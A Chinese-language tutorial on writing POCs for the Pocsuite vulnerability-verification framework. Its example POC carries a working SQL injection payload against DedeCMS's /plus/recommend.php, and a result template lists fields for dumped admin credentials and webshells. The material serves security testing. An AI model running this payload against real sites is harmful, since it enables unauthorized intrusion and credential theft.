0x00 关于Pocsuite
Pocsuite 是知道创宇安全研究团队打造的一款基于漏洞与 POC 的远程漏洞验证框架。可以让我们不用考虑过多的细节,只要考虑验证代码就可以,它封装了一些我们常用的东西,比如requests,在我们平常使用requests是要考虑cookie、要考虑header,但是在框架下则不需要有这些考虑,因为这些东西框架都帮你解决了。
0x01 简单介绍
- 安装
- 使用pip install pocsuite即可安装
- 使用pip install pocsuite即可安装
- 常用参数
- -u 指定一个目标url
- -f 指定一个存放目标url的文件
- -r 指定一个存放poc的文件夹
- –report 导出结果到html文件
- –cookie 携带cookie
- –referer 修改referer
- –user-agent 修改UA
- 模式
- 执行一个poc有两种模式
- --verify 漏洞验证模式(只是验证,不能更改服务器的东西)
- --attack 漏洞利用模式
- 示例
pocsuite -u "http://www.xxxx.com" -r poc_path/poc_name.py --atack
- 执行一个poc有两种模式
poc编写
- 可以新建一个文件夹,命名为mypoc,里面就放你自己写的poc(当然也可以在mypoc里新建文件夹放一类poc,对poc进行分类)
- 此时示例(对目标进行常见服务的测试,加载一类多个poc脚本)
pocsuite -u "http://www.xxxx.com" -r poc_path/server/ --verify
poc的命名规范
- 漏洞ID_版本号_漏洞类型(其中不能有大写字母,所有符号要改为
"_"
),大致如下:- _xxxx_struct2_2016_s2_016_code_execution.py
- _xxxx_dedecms_20130715_sql_inj.py
- 漏洞ID_版本号_漏洞类型(其中不能有大写字母,所有符号要改为
poc的编写流程
- 导入pocsuite API模块
- 创建TestPOC类
- 填写POC信息
- 编写_berify()方法
- 编写_attack()方法
- 注册类
0x02 实例
#!/usr/bin/env python # -*- coding: utf-8 -*- # 导入pocsuite的必要模块 from pocsuite.net import req # requests模块,和requests用法完全一样 from pocsuite.poc import POCBase, Output from pocsuite.utils import register class TestPOC(POCBase): """docstring for TestPOC""" vulID = '' # VUL ID version = '' # 版本号,默认为1 author = '' # POC 作者的大名 vulDate = '' # 漏洞公开的时间,不知道就写今天 createDate = '' # 编写 POC 的日期 updateDate = '' # POC更新的时间,默认和编写时间一样 references = [''] # 漏洞地址来源,0day 不用写 name = '' # POC 名称 appPowerLink = '' # 漏洞厂商主页地址 appName = '' # 漏洞应用名称 appVersion = '' # 漏洞影响版本 vulType = '' # 漏洞类型,类型参考见 漏洞类型规范表 desc = ''' ''' # 漏洞简要描述 samples = [] # 测试样例,就是用 POC 测试成功的网站url,选填 install_requires = [] # POC 第三方模块依赖,请尽量不要使用第三方模块 def _verify(self, verify=True): # 漏洞测试代码 result = {} target_url = self.url # 这里写入漏洞测试代码 path = "/plus/recommend.php" payload = "?action=&aid=1&_FILES[type][tmp_name]=\\%27%20or%20mid=@`\\%27`%20/*!50000union*//*!50000select*/1,2,3,(select md5(512341)),5,6,7,8,9%23@`\\%27`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=4294" html = req.get(target_url + path + payload, timeout=10).content if '5e8523b1645e6225001b9027cddc1c85' in html: result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = self.url + path result['VerifyInfo']['Path'] = path result['VerifyInfo']['Payload'] = payload return self.parse_attack(result) def _attack(self): # 漏洞利用代码 # result = {} # # 先进行检测是否存在漏洞 # if not self._verify(verify=False): # return self.parse_attack(result) # target_url = self.url # # 这里写漏洞利用代码 # return self.parse_attack(result) return self._verify() # 如果没漏洞利用代码,可以直接return测试函数 def parse_attack(self, result): # poc输出函数,可以输出错误和成功信息 output = Output(self) if result: output.success(result) else: output.fail('Nothing returned') return output register(TestPOC) #注册类
0x03 关于poc中result字典的内容
# result是一个字典,里面存储所有的漏洞信息: result:{ 'DBInfo': { 'Username': '管理员用户名', 'Password':'管理员密码', 'Salt': '加密盐值', 'Uid': '用户ID', 'Groupid': '用户组ID' } 'ShellInfo': { 'URL': 'Webshell地址', 'Content': 'Webshell内容' } 'FileInfo': { 'Filename': '文件名称', 'Content': '文件内容' } 'XSSInfo': { 'URL': '验证URL', 'Payload': '验证Payload' } 'AdminInfo': { 'Uid': '管理员ID', 'Username': '管理员用户名', 'Password': '管理员密码' } 'Database': { 'Hostname': '数据库主机名', 'Username': '数据库用户名' , 'Password': '数据库密码', 'DBname': '数据库名' } 'VerifyInfo': { 'URL': '验证URL', 'Postdata': '验证POST数据', 'Path': '网站绝对路径' } 'SiteAttr': { 'Process': '服务器进程' } }